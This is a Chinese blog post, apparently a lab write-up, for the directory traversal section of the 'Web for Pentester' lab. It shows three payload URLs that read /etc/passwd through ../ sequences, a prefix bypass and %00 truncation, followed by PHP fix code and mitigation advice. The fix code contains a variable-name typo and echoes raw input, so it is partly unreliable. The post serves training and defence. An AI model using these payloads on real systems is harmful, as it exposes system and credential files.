您的位置:首页 > 其它

【渗透测试学习平台】 web for pentester -4.目录遍历

2016-07-21 16:41 465 查看

Example 1

http://192.168.106.154/dirtrav/example1.php?file=../../../../../../../etc/passwd



Example 2

http://192.168.106.154/dirtrav/example2.php?file=/var/www/files/../../../../../../../etc/passwd

代码会检测是否包含/var/www/files/字符串



Example 3

http://192.168.106.154/dirtrav/example3.php?file=../../../../../../../etc/passwd%00

使用%00截断后面字符串,读取passwd文件



修复方案:

修复代码示例:

<?php
function checkstr($str,$find){
$find_str=$find;
$tmparray=explode($find_str,$str);
if(count($tmparray)>1){
return true;
}else{
return false;}
}
$hostdir=$_REQUEST['path'];
if(!checkstr($hostdir,"..")&&!checkstr($jostdir,"../")){
echo $hostdir;
}else{
echo "请勿提交非法字符";
}
?>


修复方案:

过滤.(点)等可能的恶意字符:这个试用于能够修改线上代码,最为推荐的方法;

正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置规则;

php.ini 配置 open_basedir:这个参数值得的是用户只能访问的目录,作为不能修改线上代码时的备用方案。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: